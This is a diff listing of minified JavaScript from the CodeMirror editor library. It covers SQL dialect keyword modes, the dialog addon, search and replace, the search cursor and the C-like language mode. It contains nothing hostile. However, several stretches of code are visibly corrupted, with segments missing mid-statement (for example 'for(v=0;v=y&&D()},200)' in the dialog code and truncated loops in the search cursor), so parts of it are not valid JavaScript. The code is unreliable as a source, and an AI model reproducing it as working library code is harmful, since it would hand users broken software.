value variables varying view views virtual warnings when while with work write xa xor year_month zerofill begin do then else loop repeat"),
+builtin:w("bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision date datetime year unsigned signed numeric"),atoms:w("false true null unknown"),operatorChars:/^[*+\-%<>!=&|^]/,dateSQL:w("date time timestamp"),support:w("ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber doubleQuote nCharCast charsetCast commentHash commentSpaceRequired"),
+hooks:{"@":C,"`":I,"\\":t}});q.defineMIME("text/x-sqlite",{name:"sql",client:w("auth backup bail binary changes check clone databases dbinfo dump echo eqp exit explain fullschema headers help import imposter indexes iotrace limit lint load log mode nullvalue once open output print prompt quit read restore save scanstats schema separator session shell show stats system tables testcase timeout timer trace vfsinfo vfslist vfsname width"),keywords:w("alter and as asc between by count create delete desc distinct drop from group having in insert into is join like not on or order select set table union update values where limit abort action add after all analyze attach autoincrement before begin cascade case cast check collate column commit conflict constraint cross current_date current_time current_timestamp database default deferrable deferred detach each else end escape except exclusive exists explain fail for foreign full glob if ignore immediate index indexed initially inner instead intersect isnull key left limit match natural no notnull null of offset outer plan pragma primary query raise recursive references regexp reindex release rename replace restrict right rollback row savepoint temp temporary then to transaction trigger unique using vacuum view virtual when with without"),
+builtin:w("bool boolean bit blob decimal double float long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text clob bigint int int2 int8 integer float double char varchar date datetime year unsigned signed numeric real"),atoms:w("null current_date current_time current_timestamp"),operatorChars:/^[*+\-%<>!=&|/~]/,dateSQL:w("date time timestamp datetime"),support:w("decimallessFloat zerolessFloat"),identifierQuote:'"',hooks:{"@":C,":":C,"?":C,$:C,'"':function(q){for(var t;null!=
+(t=q.next());)if('"'==t&&!q.eat('"'))return"variable-2";q.backUp(q.current().length-1);return q.eatWhile(/\w/)?"variable-2":null},"`":I}});q.defineMIME("text/x-cassandra",{name:"sql",client:{},keywords:w("add all allow alter and any apply as asc authorize batch begin by clustering columnfamily compact consistency count create custom delete desc distinct drop each_quorum exists filtering from grant if in index insert into key keyspace keyspaces level limit local_one local_quorum modify nan norecursive nosuperuser not of on one order password permission permissions primary quorum rename revoke schema select set storage superuser table three to token truncate ttl two type unlogged update use user users using values where with writetime"),
+builtin:w("ascii bigint blob boolean counter decimal double float frozen inet int list map static text timestamp timeuuid tuple uuid varchar varint"),atoms:w("false true infinity NaN"),operatorChars:/^[<>=]/,dateSQL:{},support:w("commentSlashSlash decimallessFloat"),hooks:{}});q.defineMIME("text/x-plsql",{name:"sql",client:w("appinfo arraysize autocommit autoprint autorecovery autotrace blockterminator break btitle cmdsep colsep compatibility compute concat copycommit copytypecheck define describe echo editfile embedded escape exec execute feedback flagger flush heading headsep instance linesize lno loboffset logsource long longchunksize markup native newpage numformat numwidth pagesize pause pno recsep recsepchar release repfooter repheader serveroutput shiftinout show showmode size spool sqlblanklines sqlcase sqlcode sqlcontinue sqlnumber sqlpluscompatibility sqlprefix sqlprompt sqlterminator suffix tab term termout time timing trimout trimspool ttitle underline verify version wrap"),
+keywords:w("abort accept access add all alter and any array arraylen as asc assert assign at attributes audit authorization avg base_table begin between binary_integer body boolean by case cast char char_base check close cluster clusters colauth column comment commit compress connect connected constant constraint crash create current currval cursor data_base database date dba deallocate debugoff debugon decimal declare default definition delay delete desc digits dispose distinct do drop else elseif elsif enable end entry escape exception exception_init exchange exclusive exists exit external fast fetch file for force form from function generic goto grant group having identified if immediate in increment index indexes indicator initial initrans insert interface intersect into is key level library like limited local lock log logging long loop master maxextents maxtrans member minextents minus mislabel mode modify multiset new next no noaudit nocompress nologging noparallel not nowait number_base object of off offline on online only open option or order out package parallel partition pctfree pctincrease pctused pls_integer positive positiven pragma primary prior private privileges procedure public raise range raw read rebuild record ref references refresh release rename replace resource restrict return returning returns reverse revoke rollback row rowid rowlabel rownum rows run savepoint schema segment select separate session set share snapshot some space split sql start statement storage subtype successful synonym tabauth table tables tablespace task terminate then to trigger truncate type union unique unlimited unrecoverable unusable update use using validate value values variable view views when whenever where while with work"),
+builtin:w("abs acos add_months ascii asin atan atan2 average bfile bfilename bigserial bit blob ceil character chartorowid chr clob concat convert cos cosh count dec decode deref dual dump dup_val_on_index empty error exp false float floor found glb greatest hextoraw initcap instr instrb int integer isopen last_day least length lengthb ln lower lpad ltrim lub make_ref max min mlslabel mod months_between natural naturaln nchar nclob new_time next_day nextval nls_charset_decl_len nls_charset_id nls_charset_name nls_initcap nls_lower nls_sort nls_upper nlssort no_data_found notfound null number numeric nvarchar2 nvl others power rawtohex real reftohex round rowcount rowidtochar rowtype rpad rtrim serial sign signtype sin sinh smallint soundex sqlcode sqlerrm sqrt stddev string substr substrb sum sysdate tan tanh to_char text to_date to_label to_multi_byte to_number to_single_byte translate true trunc uid unlogged upper user userenv varchar varchar2 variance varying vsize xml"),
+operatorChars:/^[*+\-%<>!=~]/,dateSQL:w("date time timestamp"),support:w("doubleQuote nCharCast zerolessFloat binaryNumber hexNumber")});q.defineMIME("text/x-hive",{name:"sql",keywords:w("select alter $elem$ $key$ $value$ add after all analyze and archive as asc before between binary both bucket buckets by cascade case cast change cluster clustered clusterstatus collection column columns comment compute concatenate continue create cross cursor data database databases dbproperties deferred delete delimited desc describe directory disable distinct distribute drop else enable end escaped exclusive exists explain export extended external false fetch fields fileformat first format formatted from full function functions grant group having hold_ddltime idxproperties if import in index indexes inpath inputdriver inputformat insert intersect into is items join keys lateral left like limit lines load local location lock locks mapjoin materialized minus msck no_drop nocompress not of offline on option or order out outer outputdriver outputformat overwrite partition partitioned partitions percent plus preserve procedure purge range rcfile read readonly reads rebuild recordreader recordwriter recover reduce regexp rename repair replace restrict revoke right rlike row schema schemas semi sequencefile serde serdeproperties set shared show show_database sort sorted ssl statistics stored streamtable table tables tablesample tblproperties temporary terminated textfile then tmp to touch transform trigger true unarchive undo union uniquejoin unlock update use using utc utc_tmestamp view when where while with"),
+builtin:w("bool boolean long timestamp tinyint smallint bigint int float double date datetime unsigned string array struct map uniontype"),atoms:w("false true null unknown"),operatorChars:/^[*+\-%<>!=]/,dateSQL:w("date timestamp"),support:w("ODBCdotTable doubleQuote binaryNumber hexNumber")});q.defineMIME("text/x-pgsql",{name:"sql",client:w("source"),keywords:w("alter and as asc between by count create delete desc distinct drop from group having in insert into is join like not on or order select set table union update values where limit a abort abs absent absolute access according action ada add admin after aggregate all allocate also always analyse analyze any are array array_agg array_max_cardinality asensitive assertion assignment asymmetric at atomic attribute attributes authorization avg backward base64 before begin begin_frame begin_partition bernoulli binary bit_length blob blocked bom both breadth c cache call called cardinality cascade cascaded case cast catalog catalog_name ceil ceiling chain characteristics characters character_length character_set_catalog character_set_name character_set_schema char_length check checkpoint class class_origin clob close cluster coalesce cobol collate collation collation_catalog collation_name collation_schema collect column columns column_name command_function command_function_code comment comments commit committed concurrently condition condition_number configuration conflict connect connection connection_name constraint constraints constraint_catalog constraint_name constraint_schema constructor contains content continue control conversion convert copy corr corresponding cost covar_pop covar_samp cross csv cube cume_dist current current_catalog current_date current_default_transform_group current_path current_role current_row current_schema current_time current_timestamp current_transform_group_for_type current_user cursor cursor_name cycle data database datalink datetime_interval_code datetime_interval_precision day db deallocate dec declare default defaults deferrable deferred defined definer degree delimiter delimiters dense_rank depth deref derived describe descriptor deterministic diagnostics dictionary disable discard disconnect dispatch dlnewcopy dlpreviouscopy dlurlcomplete dlurlcompleteonly dlurlcompletewrite dlurlpath dlurlpathonly dlurlpathwrite dlurlscheme dlurlserver dlvalue do document domain dynamic dynamic_function dynamic_function_code each element else empty enable encoding encrypted end end-exec end_frame end_partition enforced enum equals escape event every except exception exclude excluding exclusive exec execute exists exp explain expression extension external extract false family fetch file filter final first first_value flag float floor following for force foreign fortran forward found frame_row free freeze fs full function functions fusion g general generated get global go goto grant granted greatest grouping groups handler header hex hierarchy hold hour id identity if ignore ilike immediate immediately immutable implementation implicit import including increment indent index indexes indicator inherit inherits initially inline inner inout input insensitive instance instantiable instead integrity intersect intersection invoker isnull isolation k key key_member key_type label lag language large last last_value lateral lc_collate lc_ctype lead leading leakproof least left length level library like_regex link listen ln load local localtime localtimestamp location locator lock locked logged lower m map mapping match matched materialized max maxvalue max_cardinality member merge message_length message_octet_length message_text method min minute minvalue mod mode modifies module month more move multiset mumps name names namespace national natural nchar nclob nesting new next nfc nfd nfkc nfkd nil no none normalize normalized nothing notify notnull nowait nth_value ntile null nullable nullif nulls number object occurrences_regex octets octet_length of off offset oids old only open operator option options ordering ordinality others out outer output over overlaps overlay overriding owned owner p pad parallel parameter parameter_mode parameter_name parameter_ordinal_position parameter_specific_catalog parameter_specific_name parameter_specific_schema parser partial partition pascal passing passthrough password percent percentile_cont percentile_disc percent_rank period permission placing plans pli policy portion position position_regex power precedes preceding prepare prepared preserve primary prior privileges procedural procedure program public quote range rank read reads reassign recheck recovery recursive ref references referencing refresh regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy regr_syy reindex relative release rename repeatable replace replica requiring reset respect restart restore restrict restricted result return returned_cardinality returned_length returned_octet_length returned_sqlstate returning returns revoke right role rollback rollup routine routine_catalog routine_name routine_schema row rows row_count row_number rule savepoint scale schema schema_name scope scope_catalog scope_name scope_schema scroll search second section security selective self sensitive sequence sequences serializable server server_name session session_user setof sets share show similar simple size skip snapshot some source space specific specifictype specific_name sql sqlcode sqlerror sqlexception sqlstate sqlwarning sqrt stable standalone start state statement static statistics stddev_pop stddev_samp stdin stdout storage strict strip structure style subclass_origin submultiset substring substring_regex succeeds sum symmetric sysid system system_time system_user t tables tablesample tablespace table_name temp template temporary then ties timezone_hour timezone_minute to token top_level_count trailing transaction transactions_committed transactions_rolled_back transaction_active transform transforms translate translate_regex translation treat trigger trigger_catalog trigger_name trigger_schema trim trim_array true truncate trusted type types uescape unbounded uncommitted under unencrypted unique unknown unlink unlisten unlogged unnamed unnest until untyped upper uri usage user user_defined_type_catalog user_defined_type_code user_defined_type_name user_defined_type_schema using vacuum valid validate validator value value_of varbinary variadic var_pop var_samp verbose version versioning view views volatile when whenever whitespace width_bucket window within work wrapper write xmlagg xmlattributes xmlbinary xmlcast xmlcomment xmlconcat xmldeclaration xmldocument xmlelement xmlexists xmlforest xmliterate xmlnamespaces xmlparse xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltext xmlvalidate year yes loop repeat attach path depends detach zone"),
+builtin:w("bigint int8 bigserial serial8 bit varying varbit boolean bool box bytea character char varchar cidr circle date double precision float8 inet integer int int4 interval json jsonb line lseg macaddr macaddr8 money numeric decimal path pg_lsn point polygon real float4 smallint int2 smallserial serial2 serial serial4 text time without zone with timetz timestamp timestamptz tsquery tsvector txid_snapshot uuid xml"),atoms:w("false true null unknown"),operatorChars:/^[*+\-%<>!=&|^\/#@?~]/,dateSQL:w("date time timestamp"),
+support:w("ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber nCharCast charsetCast")});q.defineMIME("text/x-gql",{name:"sql",keywords:w("ancestor and asc by contains desc descendant distinct from group has in is limit offset on order select superset where"),atoms:w("false true"),builtin:w("blob datetime first key __key__ string integer double boolean null"),operatorChars:/^[*+\-%<>!=]/});q.defineMIME("text/x-gpsql",{name:"sql",client:w("source"),keywords:w("abort absolute access action active add admin after aggregate all also alter always analyse analyze and any array as asc assertion assignment asymmetric at authorization backward before begin between bigint binary bit boolean both by cache called cascade cascaded case cast chain char character characteristics check checkpoint class close cluster coalesce codegen collate column comment commit committed concurrency concurrently configuration connection constraint constraints contains content continue conversion copy cost cpu_rate_limit create createdb createexttable createrole createuser cross csv cube current current_catalog current_date current_role current_schema current_time current_timestamp current_user cursor cycle data database day deallocate dec decimal declare decode default defaults deferrable deferred definer delete delimiter delimiters deny desc dictionary disable discard distinct distributed do document domain double drop dxl each else enable encoding encrypted end enum errors escape every except exchange exclude excluding exclusive execute exists explain extension external extract false family fetch fields filespace fill filter first float following for force foreign format forward freeze from full function global grant granted greatest group group_id grouping handler hash having header hold host hour identity if ignore ilike immediate immutable implicit in including inclusive increment index indexes inherit inherits initially inline inner inout input insensitive insert instead int integer intersect interval into invoker is isnull isolation join key language large last leading least left level like limit list listen load local localtime localtimestamp location lock log login mapping master match maxvalue median merge minute minvalue missing mode modifies modify month move name names national natural nchar new newline next no nocreatedb nocreateexttable nocreaterole nocreateuser noinherit nologin none noovercommit nosuperuser not nothing notify notnull nowait null nullif nulls numeric object of off offset oids old on only operator option options or order ordered others out outer over overcommit overlaps overlay owned owner parser partial partition partitions passing password percent percentile_cont percentile_disc placing plans position preceding precision prepare prepared preserve primary prior privileges procedural procedure protocol queue quote randomly range read readable reads real reassign recheck recursive ref references reindex reject relative release rename repeatable replace replica reset resource restart restrict returning returns revoke right role rollback rollup rootpartition row rows rule savepoint scatter schema scroll search second security segment select sequence serializable session session_user set setof sets share show similar simple smallint some split sql stable standalone start statement statistics stdin stdout storage strict strip subpartition subpartitions substring superuser symmetric sysid system table tablespace temp template temporary text then threshold ties time timestamp to trailing transaction treat trigger trim true truncate trusted type unbounded uncommitted unencrypted union unique unknown unlisten until update user using vacuum valid validation validator value values varchar variadic varying verbose version view volatile web when where whitespace window with within without work writable write xml xmlattributes xmlconcat xmlelement xmlexists xmlforest xmlparse xmlpi xmlroot xmlserialize year yes zone"),
+builtin:w("bigint int8 bigserial serial8 bit varying varbit boolean bool box bytea character char varchar cidr circle date double precision float float8 inet integer int int4 interval json jsonb line lseg macaddr macaddr8 money numeric decimal path pg_lsn point polygon real float4 smallint int2 smallserial serial2 serial serial4 text time without zone with timetz timestamp timestamptz tsquery tsvector txid_snapshot uuid xml"),atoms:w("false true null unknown"),operatorChars:/^[*+\-%<>!=&|^\/#@?~]/,
+dateSQL:w("date time timestamp"),support:w("ODBCdotTable decimallessFloat zerolessFloat binaryNumber hexNumber nCharCast charsetCast")});q.defineMIME("text/x-sparksql",{name:"sql",keywords:w("add after all alter analyze and anti archive array as asc at between bucket buckets by cache cascade case cast change clear cluster clustered codegen collection column columns comment commit compact compactions compute concatenate cost create cross cube current current_date current_timestamp database databases datata dbproperties defined delete delimited desc describe dfs directories distinct distribute drop else end escaped except exchange exists explain export extended external false fields fileformat first following for format formatted from full function functions global grant group grouping having if ignore import in index indexes inner inpath inputformat insert intersect interval into is items join keys last lateral lazy left like limit lines list load local location lock locks logical macro map minus msck natural no not null nulls of on option options or order out outer outputformat over overwrite partition partitioned partitions percent preceding principals purge range recordreader recordwriter recover reduce refresh regexp rename repair replace reset restrict revoke right rlike role roles rollback rollup row rows schema schemas select semi separated serde serdeproperties set sets show skewed sort sorted start statistics stored stratify struct table tables tablesample tblproperties temp temporary terminated then to touch transaction transactions transform true truncate unarchive unbounded uncache union unlock unset use using values view when where window with"),
+builtin:w("tinyint smallint int bigint boolean float double string binary timestamp decimal array map struct uniontype delimited serde sequencefile textfile rcfile inputformat outputformat"),atoms:w("false true null"),operatorChars:/^[*+\-%<>!=~&|^]/,dateSQL:w("date time timestamp"),support:w("ODBCdotTable doubleQuote zerolessFloat")});q.defineMIME("text/x-esper",{name:"sql",client:w("source"),keywords:w("alter and as asc between by count create delete desc distinct drop from group having in insert into is join like not on or order select set table union update values where limit after all and as at asc avedev avg between by case cast coalesce count create current_timestamp day days delete define desc distinct else end escape events every exists false first from full group having hour hours in inner insert instanceof into irstream is istream join last lastweekday left limit like max match_recognize matches median measures metadatasql min minute minutes msec millisecond milliseconds not null offset on or order outer output partition pattern prev prior regexp retain-union retain-intersection right rstream sec second seconds select set some snapshot sql stddev sum then true unidirectional until update variable weekday when where window"),
+builtin:{},atoms:w("false true null"),operatorChars:/^[*+\-%<>!=&|^\/#@?~]/,dateSQL:w("time"),support:w("decimallessFloat zerolessFloat binaryNumber hexNumber")})})()});
+(function(q){"object"==typeof exports&&"object"==typeof module?q(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],q):q(CodeMirror)})(function(q){function I(q,w,v){q=q.getWrapperElement().appendChild(document.createElement("div"));q.className=v?"CodeMirror-dialog CodeMirror-dialog-bottom":"CodeMirror-dialog CodeMirror-dialog-top";"string"==typeof w?q.innerHTML=w:q.appendChild(w);return q}function C(q,w){q.state.currentNotificationClose&&q.state.currentNotificationClose();
+q.state.currentNotificationClose=w}q.defineExtension("openDialog",function(t,w,v){function D(k){if("string"==typeof k)y.value=k;else if(!P&&(P=!0,J.parentNode.removeChild(J),W.focus(),v.onClose))v.onClose(J)}v||(v={});C(this,null);var J=I(this,t,v.bottom),P=!1,W=this,y=J.getElementsByTagName("input")[0];if(y){y.focus();v.value&&(y.value=v.value,!1!==v.selectValueOnOpen&&y.select());if(v.onInput)q.on(y,"input",function(k){v.onInput(k,y.value,D)});if(v.onKeyUp)q.on(y,"keyup",function(k){v.onKeyUp(k,
+y.value,D)});q.on(y,"keydown",function(k){if(!(v&&v.onKeyDown&&v.onKeyDown(k,y.value,D))){if(27==k.keyCode||!1!==v.closeOnEnter&&13==k.keyCode)y.blur(),q.e_stop(k),D();13==k.keyCode&&w(y.value,k)}});if(!1!==v.closeOnBlur)q.on(y,"blur",D)}else if(t=J.getElementsByTagName("button")[0]){q.on(t,"click",function(){D();W.focus()});if(!1!==v.closeOnBlur)q.on(t,"blur",D);t.focus()}return D});q.defineExtension("openConfirm",function(t,w,v){function D(){P||(P=!0,J.parentNode.removeChild(J),W.focus())}C(this,
+null);var J=I(this,t,v&&v.bottom);t=J.getElementsByTagName("button");var P=!1,W=this,y=1;t[0].focus();for(v=0;v=y&&D()},200)});q.on(k,"focus",function(){++y})}});q.defineExtension("openNotification",function(t,w){function v(){J||(J=!0,clearTimeout(P),D.parentNode.removeChild(D))}C(this,v);var D=I(this,t,w&&w.bottom),J=!1,P,W=w&&"undefined"!==
+typeof w.duration?w.duration:5E3;q.on(D,"click",function(t){q.e_preventDefault(t);v()});W&&(P=setTimeout(v,W));return v})});
+(function(q){"object"==typeof exports&&"object"==typeof module?q(require("../../lib/codemirror"),require("./searchcursor"),require("../dialog/dialog")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./searchcursor","../dialog/dialog"],q):q(CodeMirror)})(function(q){function I(f,g){"string"==typeof f?f=new RegExp(f.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),g?"gi":"g"):f.global||(f=new RegExp(f.source,f.ignoreCase?"gi":"g"));return{token:function(g){f.lastIndex=g.pos;
+var k=f.exec(g.string);if(k&&k.index==g.pos)return g.pos+=k[0].length||1,"searching";k?g.pos=k.index:g.skipToEnd()}}}function C(){this.overlay=this.posFrom=this.posTo=this.lastQuery=this.query=null}function t(f){return f.state.search||(f.state.search=new C)}function w(f){return"string"==typeof f&&f==f.toLowerCase()}function v(f,g,k){return f.getSearchCursor(g,k,{caseFold:w(g),multiline:!0})}function D(f,g,k,q,t){f.openDialog(g,q,{value:k,selectValueOnOpen:!0,closeOnEnter:!1,onClose:function(){F(f)},
+onKeyDown:t})}function J(f,g,k,q,t){f.openDialog?f.openDialog(g,t,{value:q,selectValueOnOpen:!0}):t(prompt(k,q))}function P(f,g,k,q){if(f.openConfirm)f.openConfirm(g,q);else if(confirm(k))q[0]()}function W(f){return f.replace(/\\(.)/g,function(f,g){return"n"==g?"\n":"r"==g?"\r":g})}function y(f){var g=f.match(/^\/(.*)\/([a-z]*)$/);if(g)try{f=new RegExp(g[1],-1==g[2].indexOf("i")?"":"i")}catch(aa){}else f=W(f);if("string"==typeof f?""==f:f.test(""))f=/x^/;return f}function k(f,g,k){g.queryText=k;g.query=
+y(k);f.removeOverlay(g.overlay,w(g.query));g.overlay=I(g.query,w(g.query));f.addOverlay(g.overlay);f.showMatchesOnScrollbar&&(g.annotate&&(g.annotate.clear(),g.annotate=null),g.annotate=f.showMatchesOnScrollbar(g.query,w(g.query)))}function H(f,g,x,v){var p=t(f);if(p.query)return U(f,g);var w=f.getSelection()||p.lastQuery;w instanceof RegExp&&"x^"==w.source&&(w=null);if(x&&f.openDialog){var F=null,y=function(g,t){q.e_stop(t);g&&(g!=p.queryText&&(k(f,p,g),p.posFrom=p.posTo=f.getCursor()),F&&(F.style.opacity=
+1),U(f,t.shiftKey,function(g,k){var p;3>k.line&&document.querySelector&&(p=f.display.wrapper.querySelector(".CodeMirror-dialog"))&&p.getBoundingClientRect().bottom-4>f.cursorCoords(k,"window").top&&((F=p).style.opacity=.4)}))};D(f,'Search: (Use /re/ syntax for regexp search) ',w,y,function(g,p){var x=q.keyName(g),v=f.getOption("extraKeys");
+x=v&&v[x]||q.keyMap[f.getOption("keyMap")][x];if("findNext"==x||"findPrev"==x||"findPersistentNext"==x||"findPersistentPrev"==x)q.e_stop(g),k(f,t(f),p),f.execCommand(x);else if("find"==x||"findPersistent"==x)q.e_stop(g),y(p,g)});v&&w&&(k(f,p,w),U(f,g))}else J(f,'Search: (Use /re/ syntax for regexp search) ',"Search for:",
+w,function(q){q&&!p.query&&f.operation(function(){k(f,p,q);p.posFrom=p.posTo=f.getCursor();U(f,g)})})}function U(f,g,k){f.operation(function(){var p=t(f),x=v(f,p.query,g?p.posFrom:p.posTo);if(!x.find(g)&&(x=v(f,p.query,g?q.Pos(f.lastLine()):q.Pos(f.firstLine(),0)),!x.find(g)))return;f.setSelection(x.from(),x.to());f.scrollIntoView({from:x.from(),to:x.to()},20);p.posFrom=x.from();p.posTo=x.to();k&&k(x.from(),x.to())})}function F(f){f.operation(function(){var g=t(f);if(g.lastQuery=g.query)g.query=g.queryText=
+null,f.removeOverlay(g.overlay),g.annotate&&(g.annotate.clear(),g.annotate=null)})}function g(f,g,k){f.operation(function(){for(var p=v(f,g);p.findNext();)if("string"!=typeof g){var q=f.getRange(p.from(),p.to()).match(g);p.replace(k.replace(/\$(\d)/g,function(f,g){return q[g]}))}else p.replace(k)})}function x(f,k){if(!f.getOption("readOnly")){var p=f.getSelection()||t(f).lastQuery,q=''+(k?"Replace all:":"Replace:")+" ";J(f,q+' (Use /re/ syntax for regexp search) ',
+q,p,function(p){p&&(p=y(p),J(f,'With: ',"Replace with:","",function(q){q=W(q);if(k)g(f,p,q);else{F(f);var t=v(f,p,f.getCursor("from")),x=function(){var k=t.from(),F;if(!(F=t.findNext())&&(t=v(f,p),!(F=t.findNext())||k&&t.from().line==k.line&&t.from().ch==k.ch))return;f.setSelection(t.from(),t.to());f.scrollIntoView({from:t.from(),to:t.to()});P(f,'Replace? Yes No All Stop ',
+"Replace?",[function(){w(F)},x,function(){g(f,p,q)}])},w=function(f){t.replace("string"==typeof p?q:q.replace(/\$(\d)/g,function(g,k){return f[k]}));x()};x()}}))})}}q.commands.find=function(f){F(f);H(f)};q.commands.findPersistent=function(f){F(f);H(f,!1,!0)};q.commands.findPersistentNext=function(f){H(f,!1,!0,!0)};q.commands.findPersistentPrev=function(f){H(f,!0,!0,!0)};q.commands.findNext=H;q.commands.findPrev=function(f){H(f,!0)};q.commands.clearSearch=F;q.commands.replace=x;q.commands.replaceAll=
+function(f){x(f,!0)}});
+(function(q){"object"==typeof exports&&"object"==typeof module?q(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],q):q(CodeMirror)})(function(q){function I(k){if(!k.global){var g=k.flags;k=new RegExp(k.source,(null!=g?g:(k.ignoreCase?"i":"")+(k.global?"g":"")+(k.multiline?"m":""))+"g")}return k}function C(q,g,t){g=I(g);var f=t.line,p=t.ch;for(t=q.lastLine();f<=t;f++,p=0)if(g.lastIndex=p,p=q.getLine(f),p=g.exec(p))return{from:k(f,p.index),to:k(f,
+p.index+p[0].length),match:p}}function t(q,g,t){if(!/\\s|\\n|\n|\\W|\\D|\[\^/.test(g.source))return C(q,g,t);g=I(g);for(var f,p=1,x=t.line,v=q.lastLine();x<=v;){for(var w=0;w=t;f--,p=-1){var x=q.getLine(f);-1
=v;){for(var y=0;y
>1,x=f(k.slice(0,t)).length;if(x==q)return t;x>q?g=t:p=t+1}}function P(q,g,t,f){if(!g.length)return null;f=f?H:U;g=f(g).split(/\r|\n\r?/);var p=t.line;t=t.ch;var x=q.lastLine()+1-g.length;a:for(;p<=x;p++,t=0){var v=q.getLine(p).slice(t),w=f(v);if(1==
+g.length){var y=w.indexOf(g[0]);if(-1==y)continue a;J(v,w,y,f);return{from:k(p,J(v,w,y,f)+t),to:k(p,J(v,w,y+g[0].length,f)+t)}}y=w.length-g[0].length;if(w.slice(y)!=g[0])continue a;for(var F=1;F=x;p--,v=-1){var w=q.getLine(p);-1|[*\]])\s*$|\*$/.test(a.string.slice(0,d))||b.typeAtEndOfLine&&a.column()==a.indentation())return!0}function I(a){for(;;){if(!a||"top"==a.type)return!0;if("}"==a.type&&"namespace"!=a.prev.info)return!1;a=a.prev}}function c(a){var b={};a=a.split(" ");for(var d=0;d!?|\/]/,L=b.isIdentifierChar||/[\w\$_\xa1-\uffff]/,g,F;return{startState:function(a){return{tokenize:null,context:new C((a||0)-k,0,"top",null,!1),indented:0,startOfLine:!0,prevToken:null}},token:function(a,
+d){var e=d.context;a.sol()&&(null==e.align&&(e.align=!1),d.indented=a.indentation(),d.startOfLine=!0);if(a.eatSpace())return m(a,d),null;g=F=null;var h=(d.tokenize||c)(a,d);if("comment"==h||"meta"==h)return h;null==e.align&&(e.align=!0);if(";"==g||":"==g||","==g&&a.match(/^\s*(?:\/\/.*)?$/,!1))for(;"statement"==d.context.type;)v(d);else if("{"==g)y(d,a.column(),"}");else if("["==g)y(d,a.column(),"]");else if("("==g)y(d,a.column(),")");else if("}"==g){for(;"statement"==e.type;)e=v(d);for("}"==e.type&&
+(e=v(d));"statement"==e.type;)e=v(d)}else g==e.type?v(d):E&&(("}"==e.type||"top"==e.type)&&";"!=g||"statement"==e.type&&"newstatement"==g)&&y(d,a.column(),"statement",a.current());"variable"==h&&("def"==d.prevToken||b.typeFirstDefinitions&&H(a,d,a.start)&&I(d.context)&&a.match(/^\s*\(/,!1))&&(h="def");u.token&&(e=u.token(a,d,h),void 0!==e&&(h=e));"def"==h&&!1===b.styleDefs&&(h="variable");d.startOfLine=!1;d.prevToken=F?"def":h||g;m(a,d);return h},indent:function(a,d){if(a.tokenize!=c&&null!=a.tokenize||
+a.typeAtEndOfLine)return p.Pass;var e=a.context,h=d&&d.charAt(0);"statement"==e.type&&"}"==h&&(e=e.prev);if(b.dontIndentStatements)for(;"statement"==e.type&&b.dontIndentStatements.test(e.info);)e=e.prev;if(u.indent){var f=u.indent(a,e,d);if("number"==typeof f)return f}f=h==e.type;var g=e.prev&&"switch"==e.prev.info;if(b.allmanIndentation&&/[{(]/.test(h)){for(;"top"!=e.type&&"}"!=e.type;)e=e.prev;return e.indented}return"statement"==e.type?e.indented+("{"==h?0:n):!e.align||r&&")"==e.type?")"!=e.type||
+f?e.indented+(f?0:k)+(f||!g||/^(?:case|default)\b/.test(d)?0:k):e.indented+n:e.column+(f?0:1)},electricInput:!1!==b.indentSwitch?/^\s*(?:case .*?:|default:|\{\}?|\})$/:/^\s*[{}]$/,blockCommentStart:"/*",blockCommentEnd:"*/",blockCommentContinue:" * ",lineComment:"//",fold:"brace"}});l(["text/x-csrc","text/x-c","text/x-chdr"],{name:"clike",keywords:c("auto if break case register continue return default do sizeof static else struct switch extern typedef union for goto while enum const volatile"),types:c("int long char short double float unsigned signed void size_t ptrdiff_t bool _Complex _Bool float_t double_t intptr_t intmax_t int8_t int16_t int32_t int64_t uintptr_t uintmax_t uint8_t uint16_t uint32_t uint64_t"),
+blockKeywords:c("case do else for if switch while struct"),defKeywords:c("struct"),typeFirstDefinitions:!0,atoms:c("null true false"),hooks:{"#":n,"*":z},modeProps:{fold:["brace","include"]}});l(["text/x-c++src","text/x-c++hdr"],{name:"clike",keywords:c("auto if break case register continue return default do sizeof static else struct switch extern typedef union for goto while enum const volatile asm dynamic_cast namespace reinterpret_cast try explicit new static_cast typeid catch operator template typename class friend private this using const_cast inline public throw virtual delete mutable protected alignas alignof constexpr decltype nullptr noexcept thread_local final static_assert override"),
+types:c("int long char short double float unsigned signed void size_t ptrdiff_t bool wchar_t"),blockKeywords:c("catch class do else finally for if struct switch try while"),defKeywords:c("class namespace struct enum union"),typeFirstDefinitions:!0,atoms:c("true false null"),dontIndentStatements:/^template$/,isIdentifierChar:/[\w\$_~\xa1-\uffff]/,hooks:{"#":n,"*":z,u:r,U:r,L:r,R:r,0:k,1:k,2:k,3:k,4:k,5:k,6:k,7:k,8:k,9:k,token:function(a,b,c){if(b="variable"==c&&"("==a.peek()&&(";"==b.prevToken||null==
+b.prevToken||"}"==b.prevToken))a=a.current(),b=(a=/(\w+)::~?(\w+)$/.exec(a))&&a[1]==a[2];if(b)return"def"}},namespaceSeparator:"::",modeProps:{fold:["brace","include"]}});l("text/x-java",{name:"clike",keywords:c("abstract assert break case catch class const continue default do else enum extends final finally float for goto if implements import instanceof interface native new package private protected public return static strictfp super switch synchronized this throw throws transient try volatile while @interface"),
+types:c("byte short int long float double boolean char void Boolean Byte Character Double Float Integer Long Number Object Short String StringBuffer StringBuilder Void"),blockKeywords:c("catch class do else finally for if switch try while"),defKeywords:c("class interface enum @interface"),typeFirstDefinitions:!0,atoms:c("true false null"),number:/^(?:0x[a-f\d_]+|0b[01_]+|(?:[\d_]+\.?\d*|\.\d+)(?:e[-+]?[\d_]+)?)(u|ll?|l|f)?/i,hooks:{"@":function(a){if(a.match("interface",!1))return!1;a.eatWhile(/[\w\$_]/);
